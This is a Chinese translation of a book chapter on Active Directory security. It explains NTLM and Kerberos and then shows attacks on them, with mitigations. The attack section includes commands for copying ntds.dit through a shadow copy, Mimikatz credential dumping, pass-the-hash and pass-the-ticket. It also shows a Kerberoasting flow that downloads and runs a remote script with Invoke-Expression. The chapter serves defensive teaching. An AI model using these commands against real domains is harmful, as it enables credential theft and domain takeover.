幸好,古老且脆弱的 LAN Manager 身份验证如今几乎不再使用。当我评估客户环境的安全风险时,我很高兴只在少数环境中发现了这个遗留协议——例如,由于过时的软件或仍在使用且无法更换的旧机器。

在从 LAN Manager 或 NTLMv1 迁移到 NTLMv2 时要小心!

不要在没有适当迁移计划的情况下,仅仅禁止在你的环境中使用 LAN Manager 或 NTLMv1。审计仍在使用 LAN Manager 或 NTLMv1 的系统,然后首先将这些系统迁移到更新的协议,再强制使用 NTLMv2。

我不会详细描述 LAN Manager;它已经过时,真的不应该再使用。如果你在你的环境中发现了 LAN Manager,请确保制定一个计划来降低这个风险,并开始迁移到 NTLMv2。

NTLM

NTLM 是基于挑战/响应的身份验证协议。它是 Windows NT 4.0 及更早版本 Windows 的默认身份验证协议。

NTLM 有两个版本可以使用:NTLMv1 和 NTLMv2。如今 NTLMv1 被认为是不安全的,应该使用 NTLMv2,并建议在企业环境中禁用 NTLMv1,以及 LAN Manager。

如果我们看看基本功能,NTLM 版本 1 和 2 的工作原理非常相似:

  1. 在登录时,客户端将明文用户名发送到服务器。

  2. 服务器生成一个随机数(挑战nonce)并将其发送回客户端。

  3. 用户密码的哈希值用于加密从服务器收到的挑战,并将结果返回给服务器(响应)。

使用 NTLMv1 时,客户端将挑战 原封不动 传送,添加客户端随机数(客户端随机数 + 服务器随机数),使用 数据加密标准DES)加密后返回。

使用 NTLMv2 时,客户端将其他参数添加到挑战中:(客户端随机数 + 服务器随机数 + 时间戳 + 用户名 + 目标),然后使用 HMAC-MD5 对其进行哈希处理并返回。这些附加参数可以保护会话免受重放攻击(即数据被重复或延迟攻击)。

  1. 用户尝试登录的服务器(如果是域账户,服务器是域控制器)将以下三项发送给认证服务器,以验证请求的用户是否被允许登录:

    • 用户名

    • 挑战(发送给客户端的)

    • 响应(从客户端接收到的)

如果账户是本地账户,服务器将自行验证用户。如果账户是域账户,服务器将挑战和认证响应转发给域控制器进行认证。请注意,本地账户也可以使用 NTLM;在这种情况下,客户端计算机本身也可以是客户端认证的服务器。

  1. 服务器或域控制器查找用户名并从 安全账户管理器SAM)数据库中获取对应的密码哈希值,使用该哈希值来加密/哈希挑战。

  2. 服务器或域控制器将之前计算的加密/哈希挑战与客户端计算的响应进行比较。如果两者相同,则认证成功。

如果您想了解更多关于 LAN Manager 为什么如此脆弱,NTLMv1 和 NTLMv2 之间的区别,以及为什么 LAN Manager 和 NTLMv1 不应再使用,您可以在我写的博客文章中了解更多:miriamxyra.com/2017/11/08/stop-using-lan-manager-and-ntlmv1/

配置认证协议时要小心

当然,在禁用 LAN Manager 和 NTLMv1 之前,您应该分析这些协议是否仍在使用。在提到的博客文章中,您还将找到有关如何审计哪些协议仍在使用的最佳实践。

如果可能,仅使用 Kerberos 进行域认证。如果无法使用(因为目标不是域成员或没有 DNS 名称),则配置回退到 NTLMv2 并禁止使用 LAN Manager 和 NTLMv1。

Kerberos

在希腊神话中,Kerberos 是一只三头的地狱猎犬,它守卫着冥界的入口,阻止活人进入,也阻止死人离开。

因此,这个著名的地狱犬的名字在认证方面非常贴切,因为认证协议 Kerberos 也由三个阶段组成:使用 Kerberos 进行身份验证需要三个阶段。

虽然 NTLM 是一种挑战-响应认证机制,但 Kerberos 认证是 票证 基于的,并依赖于第三方实体 密钥分发中心KDC)的验证。

票证是加密的 二进制大对象blobs)。它们不能被票证持有者解密,而是作为 Kerberos 协议的身份验证证明。只有票证接收者(例如,域控制器)可以使用对称密钥解密票证。

KDC 是负责实施 Kerberos 协议中定义的认证和票证授予服务的 Kerberos 服务。在 Windows 环境中,KDC 已集成在域控制器角色中。

在我们深入了解 Kerberos 认证如何工作之前,我们需要明确一些术语。

Kerberos 术语

以下是一些重要的 Kerberos 术语:

  • 票证授予票证TGT):TGT 可用于从 TGS 获取服务票证。在 认证服务AS)交换中的初始认证之后,创建一个 TGT。一旦系统中存在 TGT,用户无需再次输入凭证,而可以使用 TGT 来获取未来的服务票证。

  • 票证授予服务TGS):TGS 可以发放服务票证,用于访问其他服务,无论是在 TGS 自身所在的域中,还是访问另一个域中的 TGS。

  • 服务票证:服务票证允许访问除 TGS 外的任何服务。

  • 权限属性证书PAC):PAC 提供了票证授权数据字段中特定授权数据的描述。PAC 仅适用于 Microsoft 环境中的 Kerberos 认证。PAC 包含多个数据组件,例如包括用于授权的组成员数据或用于非 Kerberos 认证协议的替代凭证。

  • 密钥:密码是密钥的典型例子:它是一个持久的对称加密密钥,在两个实体之间共享(例如,用户和域控制器之间)。

Kerberos 认证的三个阶段

Kerberos 认证由三个阶段组成:AS 交换、TGS 交换和客户端服务器认证。

图 6.8 – Kerberos 认证的三个阶段

图 6.8 – Kerberos 认证的三个阶段

第一阶段: AS 交换

该阶段每次登录会话中仅执行一次,并包括两个步骤:

  1. KRB_AS_REQ(Kerberos 认证服务请求):客户端向认证服务器(KDC)发起请求,以获取 TGT。TGT 是一个带有时间限制的票证,包含客户端的身份信息和 SID。默认情况下,TGT 可以续期最长 7 天,并且每个 TGT 有效期为 10 小时。

  2. KRB_AS_REP(Kerberos 认证服务回复):KDC 创建并返回 TGT 以及与 KDC 通信的会话密钥。TGT 的默认有效期为 10 小时。

第 2 阶段: TGS 交换

第 2 阶段每个服务器会话只执行一次。这意味着只要在同一服务器上请求资源,就不需要重复此步骤。该阶段的两个步骤如下:

  1. KRB_TGS_REQ(Kerberos 票证授予服务请求):客户端向 KDC 请求一个 Kerberos TGS。请求包括一个 TGT、一个身份验证器和目标服务器的名称,即服务主体名称SPN)。身份验证器包括用户的 ID 和时间戳,两者都使用先前共享的会话密钥进行加密。

  2. KRB_TGS_REP(Kerberos 票证授予服务回复):在收到 TGT 和身份验证器后,KDC 验证两者的有效性,并继续向客户端发放票证和会话密钥。

身份验证 = 授权

需要牢记的是,身份验证和授权是完全不同的过程。身份验证确认用户身份,而授权则授予用户访问资源的权限。

第 3 阶段: 客户端-服务器认证

在 Kerberos 认证的第三阶段,要求访问某个资源。此步骤每次服务器连接时执行一次。这意味着如果你断开与服务器的连接并重新连接,则需要重复此步骤:

  1. KRB_AP_REQ(Kerberos 应用请求):客户端将票证发送给目标服务器,以发起访问请求。随后,服务器解密票证,验证身份验证器,并使用票证中的 SID 为用户生成访问令牌。

  2. KRB_AP_REP(Kerberos 应用回复,可选):客户端可以选择请求双向认证,促使目标服务器验证其身份。在这种情况下,目标服务器使用 TGS 提供的会话密钥加密来自身份验证器的客户端计算机时间戳,用于客户端与目标服务器的通信。加密后的时间戳然后返回给客户端进行身份验证。

用户身份验证与服务身份验证

有两种不同类型的票证可用于身份验证:用户身份验证和服务身份验证。如果用户需要进行身份验证,则会发放 TGT。当服务需要进行身份验证时,会发放服务票证,这是一种专为服务身份验证设计的票证。

攻击 AD 认证——凭证窃取和横向移动

随着时间的推移,系统变得更加安全,如今几乎不可能通过足够的零日漏洞来从互联网访问公司,身份变得越来越重要。环境变得越来越安全,因此攻击者寻找最薄弱的环节 - 人类。

钓鱼攻击中,用户会被诱使打开链接并安装软件,例如启用宏,以便对受感染的系统执行对手的代码。在大多数情况下,被陷害的用户是一个普通用户账户,对攻击者来说并不是很有价值。

因此,攻击者希望获得更有价值的账户,并横向移动以获取更多身份,直到找到一个高度特权的身份 - 对攻击者来说最好的情况是域或企业管理员账户。

无论是横向移动还是凭证盗窃,都依赖于认证协议 Kerberos 和 NTLM 的功能。为了更简便的单点登录SSO),这两种协议都将它们的认证令牌 - NTLM 哈希或 Kerberos 票据 - 存储在本地安全 机构LSA)中。

您可以将哈希或票据比喻为一把钥匙:如果钥匙被别人复制,那么这个人现在就可以进入您的房子并随心所欲。尽管 LSA 旨在保护凭据,但票据和哈希可以被提取和重复使用。

但它不仅仅保存在系统上;根据认证方法的不同,NTLM 哈希或 Kerberos 票据也会被转发到远程系统并存储在远程系统的 LSA 中。例如,当使用远程桌面进行身份验证时就会发生这种行为。

PowerShell 的一个重要优势是,如果只使用纯粹的带 WinRM 认证的 PowerShell,那么不会将哈希或票据转发到远程系统。但如果使用带 CredSSP 认证的 PowerShell WinRM,哈希或票据将被转发到远程主机并存储在其 LSA 中。这使得潜在的攻击者也可以从远程系统中提取凭据。

通常,使用 CredSSP 的 PowerShell 用于解决第二次跳转问题。但选择这种方法会暴露您的凭据,因此应避免使用 CredSSP。如果您想了解有关 PowerShell 中第二次跳转问题的更多信息,请参考此文档:docs.microsoft.com/en-us/powershell/scripting/learn/remoting/ps-remoting-second-hop

在当前系统上输入凭据时也要小心。如果您以不同账户运行进程(runas),则需要输入本地存储在 LSA 中的凭据 - 类似于创建计划任务或使用特定账户运行工具作为服务。

现在你已经了解了用于身份验证的协议及其工作原理,让我们来看看针对 AD 身份验证的不同攻击方式。

ntds.dit 提取

ntds.dit是包含 AD 中所有身份和哈希值的数据库。这意味着,如果攻击者获得了该数据库,他们就能控制环境中的所有身份——也就控制了整个环境。

但是,要获得ntds.dit,对手不能仅仅复制该文件,因为它被 AD 持续使用,因此是锁定的。

有许多方法可以访问ntds.dit。一种方法是从备份中提取它——例如,使用卷影复制。这也是为什么严格控制谁能够备份和恢复域控制器数据至关重要的原因。

如果域控制器的硬盘未加密且不位于安全位置,任何有物理访问权限的人都可以提取该数据库。

如果一个域控制器DC)作为虚拟机托管,并且硬盘没有加密,那么每个虚拟化管理程序管理员都可以提取它——例如,通过使用快照或复制虚拟机并在离线位置恢复它。

如果红队成员直接访问了域控制器(例如通过凭证窃取),也可以通过各种方法提取ntds.dit。在接下来的示例中,我们将展示如何使用 PowerShell 实现这一目标。

由于我们无法在操作系统使用ntds.dit时访问它,因此我们首先使用Invoke-CimMethod创建一个C:\驱动器的影像复制点,并调用Win32_ShadowCopy类的Create方法。影像复制是特定时间点上驱动器内容的副本。

然后我们获取新创建的影像复制路径,并将其保存到$****ShadowCopyPath变量中。

最后,我们在C:\驱动器的根目录下创建一个名为shadowcopy的符号链接,指向影像复制点的路径:

$ShadowCopy = Invoke-CimMethod -ClassName "Win32_ShadowCopy" -Namespace "root\cimv2" -MethodName "Create" -Arguments @{Volume="C:\"}
$ShadowCopyPath = (Get-CimInstance -ClassName Win32_ShadowCopy | Where-Object { $_.ID -eq $ShadowCopy.ShadowID }).DeviceObject + "\\"
cmd /c mklink /d C:\shadowcopy "$ShadowCopyPath"

现在,红队成员可以不受限制地访问ntds.dit文件,将其外泄,或提取哈希值进行后续的pass-the-hash攻击。在这个例子中,我们将它复制到C:\tmp文件夹中:

Copy-Item "C:\shadowcopy\Windows\NTDS\ntds.dit" -Destination "C:\tmp"

你可以看到文件已成功提取,如下图所示:

图 6.9 – 验证 ntds.dit 是否已成功提取

图 6.9 – 验证 ntds.dit 是否已成功提取

最后,我们删除符号链接:

(Get-Item C:\shadowcopy).Delete()

还有很多方法可以提取ntds.dit,例如以下几种:

  • 使用默认内置的ntdsutil诊断工具

  • 卷影复制服务VSS)提取ntds.dit——如我们在前面的例子中所做的那样

  • 从离线硬盘复制ntds.dit

  • 创建并恢复快照,并从中提取文件

  • 从备份中提取ntds.dit

这些只是攻击者可以提取ntds.dit数据库的几种方法。这也是为什么严格控制对域控制器备份的访问如此重要的原因,如果它们是虚拟机,则严格限制对 VM、存储和快照的访问。

要减轻这些类型的攻击,真正有帮助的唯一措施是控制访问并保持良好的凭据卫生。

如果ntds.dit文件被攻击者提取,唯一有帮助的是受控的妥协恢复并两次重设krbtgt账户的密码。

krbtgt

ntds.dit数据库中,还有另一个重要的账户:krbtgt账户。该账户作为 KDC 的默认服务账户,执行 KDC 的必要功能和操作。该账户的 TGT 密码仅由 Kerberos 知晓。

但是如果提取了此帐户的哈希,这将使对手能够以 KDC 的身份签署票据请求并启用黄金票据

黄金票据

在黄金票据攻击中,恶意行为者使用 Kerberos 票据来控制有效域的密钥分发服务。这使得攻击者可以访问 AD 域上的任何资源(因此得名黄金票据)。

如果攻击者控制了 AD 数据库或其备份,他们可能会生成 Kerberos TGT 或/和服务票据。

值得注意的是,具有复制所有属性权限的任何帐户(包括域管理员帐户)也可以执行此活动。此权限通常授予位于域根目录下的domainDNS对象。

在此级别授予权限可能特别危险且具有影响力,因为它可能会给攻击者在域上完全控制的能力。

通过这样做,对手可以冒充受损域中的任何用户或机器,并访问该域或任何受信任域中的所有资源。

银票据

如果对手获得了系统的管理员权限或对未加密硬盘的系统的物理控制,他们可以使用机器密码伪造 TGS 票据。

他们还可以篡改包含在票据 PAC 中的详细信息。这将使对手能够任意生成 Kerberos TGS 票据或操纵包含在 PAC 中的授权详细信息,例如将帐户的组成员身份更改为高权限帐户(如域管理员)。

横向移动

在提取哈希或票据后,攻击者尝试使用它来获取访问权限并登录到另一个系统。这个过程称为横向移动。

一旦获得对另一个系统的访问权限,一切又重新开始;对手尝试从 LSA 中提取所有现有凭据,并用它来对其他系统进行身份验证。

攻击者的目标是找到一个高度特权的身份——对攻击者而言,最理想的是域管理员或企业管理员的身份。

Pass the Hash(PtH)

正如您所学的,对于 NTLM 身份验证以及 LAN Manager 身份验证,会生成一个哈希值,使您能够进行身份验证以访问资源和登录。此哈希值存储在 LSA 中,由本地安全机构子系统服务LSASS)进程管理,可以快速访问以实现 SSO。

如果对手从 LSA 提取了该哈希,则可以将其传递到另一个系统,用于以哈希创建的用户身份进行身份验证。

检测Pass-the-Hash攻击非常困难,因为在目标系统上,一切看起来像是一次合法的身份验证。

要从 LSA 提取哈希,执行此操作的帐户需要以管理员或系统权限运行。许多命令还需要调试权限。

有许多工具可以与 LSA 交互以提取密码哈希。最著名的之一是 Mimikatz。虽然Mimikatz.exe是由 Benjamin Delpy(gentilkiwi)编写的,但lsa模块中的 DCSync 功能是由 Vincent le Toux 编写的:github.com/gentilkiwi/mimikatz/wiki

Joseph Bialek 编写了Invoke-Mimikatz.ps1脚本,使得所有mimikatz功能都可以通过 PowerShell 使用。Invoke-Mimikatz是 PowerSploit 模块的一部分,可以在 GitHub 上下载:github.com/PowerShellMafia/PowerSploit

尽管该模块不再受支持,但它仍包含许多有价值的脚本,可用于通过 PowerShell 进行渗透测试。

要安装 PowerSploit,只需下载该模块并将其粘贴到以下路径下:$Env:windir\System32\WindowsPowerShell\v1.0\Modules(在常规系统上通常是C:\Windows\System32\WindowsPowerShell\v1.0\Modules)。当您下载 PowerSploit 的.zip文件时,该文件名为PowerSploit-master,因此您需要在将其粘贴到模块路径前将文件夹重命名为PowerSploitC:\Windows\System32\WindowsPowerShell\v1.0\Modules\PowerSploit

使用Import-Module PowerSploit将其导入到当前会话中。请注意,它只能在 Windows PowerShell 中导入,并在 PowerShell Core 中抛出错误。

递归解锁模块

如果您的执行策略设置为RemoteSigned,则禁止执行远程脚本,以及执行从互联网下载的脚本或导入模块。要递归解锁PowerSploit模块文件夹中的所有文件,请运行以下命令:

Get-ChildItem -Path "$Env:windir\System32\WindowsPowerShell\v1.0\Modules\PowerSploit\" -Recurse |** **Unblock-File

一旦成功导入 PowerSploit,你可以使用 Invoke-Mimikatz 来转储本地计算机上的凭证:

> Invoke-Mimikatz -DumpCreds

使用 -ComputerName 参数,你可以指定一个或多个远程计算机:

> Invoke-Mimikatz -DumpCreds -ComputerName "PSSec-PC01"
> Invoke-Mimikatz -DumpCreds -ComputerName @(PSSec-PC01, PSSec-PC02)

你还可以使用 Invoke-Mimikatz 来运行通常也可以在 Mimikatz 二进制文件中使用的命令,例如在远程计算机上提升权限:

> Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "PSSec-PC01"

通常情况下,所有在普通二进制版本的 mimikatz.exe 中可以执行的命令,都可以在 PowerShell 版本中使用 -Command 参数执行。

由于 Invoke-Mimikatz cmdlet 仅在 Windows PowerShell 中有效,而在 PowerShell 7 及更高版本中无效,并且存在更多限制(例如,它只能从当前会话中提取凭证),我们将在演示中切换到 Mimikatz 的二进制版本。

下载二进制文件或从源代码构建后,进入 mimikatz.exe 文件所在的目录,并通过键入以下命令执行:

> .\mimikatz.exe

这将加载 Mimikatz,允许你输入命令以执行其各种功能:

> log
> privilege::debug
> sekurlsa::logonpasswords

Mimikatz log 命令启用或禁用 Mimikatz 日志。默认情况下,日志记录是禁用的。当启用日志时,Mimikatz 会将其输出写入日志文件。如果没有指定日志文件(如本示例所示),则会将 mimikatz.log 写入 Mimikatz 被调用的文件夹中。

privilege::debug 命令为当前进程启用调试权限,这是访问系统上某些敏感信息所必需的。sekurlsa::logonpasswords 命令用于检索当前在内存中存储的、活跃登录会话的明文密码。

接下来,打开 mimikatz.log 文件并搜索你感兴趣的哈希值。在我们的例子中,我们正在寻找 PSSec 域的域管理员密码:

图 6.10 – 提取域管理员的 NTLM 哈希

图 6.10 – 提取域管理员的 NTLM 哈希

复制 NTLM 哈希并按照以下示例的方式使用它,加载一个已经加载域管理员凭证的 cmd 控制台:

> Sekurlsa::pth /user:administrator /domain:PSSec /ntlm:7dfa0531d73101ca080c7379a9bff1c7

会打开一个 cmd 控制台,其中已加载域管理员的凭证,可以用于远程系统认证:

图 6.11 – 执行 pass-the-hash 攻击

图 6.11 – 执行 pass-the-hash 攻击

在此示例中,我们使用 PSExec 来认证到域控制器 DC01,其 IP 地址为 172.29.0.10。如果配置允许从这台特定的计算机连接,也可以使用 PowerShell 会话,在其中提供 IP 地址而非 DNS 名称。不过,PSExec 不依赖于 PowerShell 会话配置和其他限制,因此攻击者通常会使用它。

Pass the ticket (PtT)

除了 LM 或 NTLM 哈希,票据还存储在 LSA 中以实现单点登录(SSO)。

你可以使用 Mimikatz 导出会话中所有可用的票据,方法如下:

kerberos::list /export

票据成功导出后,你可以在当前工作文件夹中找到所有导出的票据文件。要进行 PtT 攻击,你现在需要寻找一个最适合你目的的票据。在我们的案例中,我们要找一个由 krbtgt 为域管理员签发的票据;因此,我们选择包含 administratorkrbtgt 字样的文件名中的一个票据,如下图所示:

图 6.12 – 导出的域管理员票据

图 6.12 – 导出的域管理员票据

现在,我们可以通过以下命令将其中一个票据加载到我们的会话中:

> kerberos::ptt [0;2856bf]-2-0-40e10000-administrator@krbtgt-PSSEC.LOCAL.kirbi
> misc::cmd

misc::cmd 命令允许你打开一个 cmd 命令行,你可以在这里继续进行其他操作。

Kerberoasting 攻击

Kerberoasting 是一种攻击方式,涉及利用 Kerberos 认证协议中的漏洞。在这种攻击中,攻击者可以从使用 Kerberos 认证的服务账户中提取密码哈希,并利用这些哈希尝试离线破解密码。一旦攻击者成功破解密码,他们可以使用该密码获得对其他系统和敏感数据的未授权访问。

为了执行 Kerberoasting 攻击,攻击者通常从识别使用 Kerberos 认证的服务账户开始。这些账户通常有与之关联的 SPN。Tim Medin 写了一个脚本,可以帮助你识别具有 SPN 的账户,你可以从 GitHub 下载并执行该脚本:

> Invoke-Expression (Invoke-WebRequest -UseBasicParsing "https://raw.githubusercontent.com/nidem/kerberoast/master/GetUserSPNs.ps1")

以下截图展示了我们如何运行该脚本并找到具有设置 SPN 的 IIS-User 账户:

图 6.13 – 使用 SPN 获取账户

图 6.13 – 使用 SPN 获取账户

攻击者随后从 Kerberos 认证服务请求服务账户的 TGT,如下所示:

> Add-Type -AssemblyName System.IdentityModel
> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList IIS-User/server.PSSec.local:80

一旦攻击者获得了服务票据,他们可以使用 Mimikatz 或类似工具提取票据的加密哈希。使用 Mimikatz,你可以通过 kerberos::list /****export 命令提取票据。

所有可用的票据将被提取到你运行 mimikatz.exe 的文件夹中,并带有 .kirbi 文件扩展名。

在攻击者尝试从票据哈希中破解密码之前,需要先进行转换。EmpireProject 中的 Invoke-Kerberoast.ps1 脚本提供了一个非常方便的方法来实现这一点。该脚本可以从 github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1 下载。

使用以下命令将提取的票据转换为 .****csv 文件:

> Import-Module .\Invoke-Kerberoast.ps1
> Invoke-Kerberoast -Format Hashcat | Select-Object Hash | ConvertTo-Csv -NoTypeInformation | Out-File kerberoast-hashes.csv

攻击者随后可以使用离线密码破解工具,如Hashcat,结合密码列表来尝试破解哈希值并恢复密码。如果成功,攻击者就可以利用被破解的密码,未经授权地访问其他系统和敏感数据。

影子凭证攻击

影子凭证攻击是一种攻击技术,可能导致 AD 环境中域控制器的被攻破。它涉及创建一个“影子”域账户,该账户与特权用户账户具有相同的密码,可以用来冒充特权用户并执行敏感操作。

影子凭证攻击是一种复杂的技术,要求攻击者满足多个先决条件,以便在 AD 环境中破坏域控制器。首先,攻击只能在运行 Windows Server 2016 或更高版本的域控制器上执行。此外,域必须配置了 Active Directory 证书服务和证书颁发机构,以获得进行 PKINIT Kerberos 身份验证所需的证书。PKINIT 允许使用基于证书的身份验证,而非用户名和密码,这是攻击成功的关键。最后,攻击者必须拥有一个被委派的权限,能够写入目标对象的msDS-KeyCredentialLink 属性。该属性将 RSA 密钥对与计算机或用户对象关联,使得能够使用该密钥对进行身份验证,接收来自 KDC 的 Kerberos TGT。

要执行此攻击,必须将密钥凭证添加到目标用户或计算机对象的msDS-KeyCredentialLink 属性中。通过这些凭证,攻击者可以利用 PKINIT 进行 Kerberos 身份验证,作为目标账户获得 TGT,并通过预身份验证验证私钥匹配。

请注意,计算机对象能够修改其自身的msDS-KeyCredentialLink 属性,但只有在该属性不存在时,才能添加KeyCredential。然而,用户对象无法编辑其自身的msDS-KeyCredentialLink 属性。

msDS-KeyCredentialLink 属性提供的链接过程使用户能够通过 RSA 密钥对进行身份验证,接收来自 KDC 的 TGT,而无需提供用户名和密码。

这一技术对于特权提升(如密码重置)同样有效,但它是一种更为隐蔽的方法,组织更难以检测到。

欲了解更多关于影子凭证攻击的信息,请参考以下博客文章:posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab

现在我们已经了解了各种 AD 攻击向量,你可能会问自己,怎样才能减少暴露风险。AD 非常庞大,但仍然有一些措施是你可以采取的。

缓解措施

一般建议是小心哪些帐户被允许登录到哪些机器,并保护你的特权帐户。为了缓解这类攻击,控制访问权限并保持良好的凭证管理是至关重要的。

枚举是获取有关环境更多信息的过程,因此完全缓解枚举是不可行的。但你可以通过使对手更难找到有价值的目标来增加难度。在攻击者利用已发现的漏洞之前,通过使用最小权限原则枚举你的 AD 权限并调整特权。同时,使用微软基准配置将你的配置与官方推荐进行比较。在下一节中,我们将详细了解微软基准配置。

遵循良好的安全实践非常重要,比如限制服务帐户的使用、实施强密码策略,并定期监控和审计身份验证日志中的可疑活动。此外,网络分段和访问控制可以通过将关键系统和数据与潜在攻击者隔离来帮助限制成功凭证窃取攻击的影响。

通过实施适当的审计,你可以获得更多有关你环境中发生的事情的洞察(详细信息请参见 第四章检测 - 审计与监控)。

仅使用事件 ID 来构建适当的审计是困难的,并且无法帮助你检测所有攻击。例如,仅使用事件 ID,无法检测到传递哈希攻击:在事件日志中,这种攻击看起来就像是目标机器上的合法身份验证。

因此,许多供应商已经开始分析系统之间的流,以便为诸如传递哈希(PtH)或传递票证(PtT)等攻击提供有效的检测。例如,微软的解决方案是 Microsoft Defender for Identity,它专注于与身份相关的攻击,并且是 Microsoft 365 Defender 的一部分。

请参阅详细的传递哈希(PtH)白皮书,了解有关 PtH 攻击的更多信息以及如何缓解它:www.microsoft.com/en-us/download/details.aspx?id=36036

如果ntds.dit文件被攻击者提取,唯一有用的方法是进行受控的泄露恢复,并且两次重置krbtgt帐户以及其他域/森林管理员帐户的密码。在此恢复过程中,请确保监视可疑活动,以确保krbtgt帐户(以及其他管理帐户)仍然仅在你的控制之下。

制定适合你环境的特权访问策略。这可能是一个复杂且具有挑战性的过程,直到有效实施,但它是保护网络的关键步骤。

请参考以下指南以启动您的特权访问策略:learn.microsoft.com/en-us/security/privileged-access-workstations/privileged-access-access-model

此外,管理员在使用环境中的高权限账户时,应使用特权访问工作站PAWs)。PAWs 是专门用于行政任务和管理高度特权账户的工作站。通过限制访问互联网、电子邮件和其他可能存在漏洞的应用程序,它们为特权活动提供了安全的环境。通过使用 PAW,管理员可以帮助减少特权账户被攻击者危害和横向移动的风险。

微软基线和安全合规工具包

为了帮助加强组织环境的安全性,微软发布了安全合规工具包。可以从www.microsoft.com/en-us/download/details.aspx?id=55319下载安全合规工具包。

该工具包包含以下内容:

  • 策略分析器:一个用于评估和比较组策略的工具。

  • LGPO.exe:一个用于分析本地策略的工具。

  • SetObjectSecurity.exe:用于配置几乎所有 Windows 安全对象的安全描述符的工具。

  • 每个最新操作系统的基线:这些基线包含监控以及配置建议。

如果打开各个基线的相应GP 报告文件夹,您可以找到所有安全基线 GPO 的概览:

图 6.14 – 单一基线的所有 GPO 概览

图 6.14 – 单一基线的所有 GPO 概览

所有安全基线都是为了不同的配置目的而创建的。每个基线中最重要的一些重复配置目的如下:

  • 域控制器:这是针对域控制器以及用于管理域控制器和其他 Tier 0 资产的 PAWs 的硬化建议。

  • 域安全:该基线包含如何配置一般域设置(如密码策略或账户登录超时和锁定)的最佳实践。

  • 成员服务器:这是针对成员服务器以及用于管理成员服务器和其他 Tier 1 资产的 PAWs 的硬化建议。

  • 计算机:这是针对所有客户端设备以及 Tier 2 中的终端服务器的硬化建议。

  • 用户:这是针对 Tier 2 用户的用户级别硬化建议。

还有其他基线,例如如何配置 BitLocker、凭证保护(Credential Guard)和 Defender Antivirus 的建议,以及如何配置启用了基于虚拟化的安全性的域控制器的建议。

根据你的使用案例选择适合每个操作系统的基线。

你知道吗?

GPO 基线和 Intune 基线由同一团队创建,并且它们是相同的。

总结

在本章中,你学习了一些 AD 安全的基础知识。由于 AD 是一个庞大的主题,足以填满一本书,我们集中讨论了从凭证窃取和访问权限角度的 AD 安全。

你已经学会了如何实现一些基本的审计检查,并且知道哪些开源工具可以帮助你枚举 AD。

现在你已经了解了哪些帐户和组在 AD 中具有特权,并且在委派访问权限时要非常小心。仅仅部署默认配置的 AD 是不够的;你还需要加强其安全性。

最后,我们深入探讨了 AD 中使用的身份验证协议,并探索了它们如何被滥用。

我们还讨论了一些缓解措施,但请确保同时参考第十三章中的建议,“其他措施 – 进一步的缓解和资源”

但当我们谈论 AD 时,AAD(或者未来可能称为:Entra ID)是无法忽视的。虽然这两个服务都是非常优秀的身份提供者,但理解它们之间的差异非常重要,这也是我们将在下一章讨论的内容。

有一点我可以提前告诉你:不,Azure Active Directory 并不是“只是云中的 Active Directory”。

进一步阅读

如果你想更深入地了解本章提到的某些主题,请查看以下资源:

访问权限

与 Active Directory 相关的 PowerShell 模块(属于 RSAT 工具)

与 Active Directory 相关的开源 攻击者工具

身份验证:

期望 状态配置

枚举

林信任

将数据导入 Excel 和 PowerPivot

缓解措施

特权账户 和组

安全标识符

用户 权限分配

)

xkcd** 密码强度**:

你还可以在 GitHub 仓库中找到本章提到的所有链接,链接在第六章中,无需手动输入每个链接:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter06/Links.md

第七章:黑客攻击云 – 利用 Azure Active Directory/Entra ID 漏洞

在上一章,我们了解了 Active DirectoryAD)和本地身份验证。本章我们将探讨其继任者和云 身份提供者IdP):Azure Active DirectoryAAD/Azure AD)。

自 2023 年 7 月 11 日起,微软将 Azure AD 更名为 Entra ID。由于这一变更在本书发布前不久才宣布,因此我们将在本章中继续将其称为 Azure Active Directory、Azure AD 或 AAD。

AAD 是微软基于云的企业身份服务。它提供 单点登录SSO)、条件访问和 多因素身份验证MFA)来保护用户免受各种攻击,无论这些攻击是本地发起还是使用基于云的技术。

AAD 是一个多租户云目录和身份验证服务。其他服务,如 Office 365 或 Azure,依赖此服务进行身份验证和授权,利用 AAD 提供的帐户、组和角色。

越来越多的组织在混合模式下使用 AAD,一些组织甚至完全放弃了传统的本地 AD 解决方案,转而使用 AAD。

本章中,我们将深入研究 AAD,特别是 AAD 的身份验证,并探索蓝队和红队成员在 PowerShell 环境中应当了解的 Azure AD 安全相关知识:

  • 区分 AD 和 AAD

  • AAD 中的身份验证

  • 最重要的内置特权帐户和角色概述

  • 使用 PowerShell 访问 AAD

  • 攻击 AAD

  • 探索与 AAD 相关的凭证盗窃攻击

  • 缓解基于云的攻击

技术要求

为了充分利用本章内容,请确保您具备以下条件:

  • PowerShell 7.3 及以上版本

  • 已安装 Visual Studio Code

  • 访问 Chapter07 的 GitHub 仓库:

github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/tree/master/Chapter07

区分 AD 和 AAD

比较 AD 和 AAD 时的一个常见误解是,AAD 只是云中的 AD。这个说法并不准确。

虽然 AD 是本地域的目录服务,但 AAD 允许用户访问 Office 365、Azure 门户、SaaS 应用程序、内部资源和其他基于云的应用程序。

两者都是身份和访问管理解决方案,是的。但除此之外,这两种技术有很大的不同,正如下面的图所示:

图 7.1 – AD 与 AAD

图 7.1 – AD 与 AAD

AAD 可以与本地 AD 同步(混合身份),并支持 联合(例如通过 安全声明标记语言(SAML))或可以作为单一身份和访问提供者使用。它支持不同类型的身份验证,如下所示:

  • 仅云身份验证:在这种情况下,AAD 作为唯一的身份提供者(IdP),不与本地 AD 进行任何同步。用户直接与 AAD 进行身份验证以访问资源。

  • AAD 密码哈希同步:这种身份验证方法涉及将本地 AD 中的密码哈希同步到 AAD。当用户进行身份验证时,AAD 会根据存储在云中的同步哈希验证密码。

  • AAD 通行身份验证(PTA):通过这种方式,身份验证过程涉及混合设置。在用户的密码通过本地身份验证代理验证后,AAD 执行最终的身份验证步骤,从而授予用户访问权限。

  • 联合身份验证(AD FS):在联合身份验证场景中,身份验证发生在本地,使用Active Directory 联合服务AD FS)。AAD 充当身份提供者,并依赖与 AD FS 建立的联合信任来验证用户。

在 AD 中,组控制用户组的权限和访问,而在 AAD 中,这一功能被角色所取代。

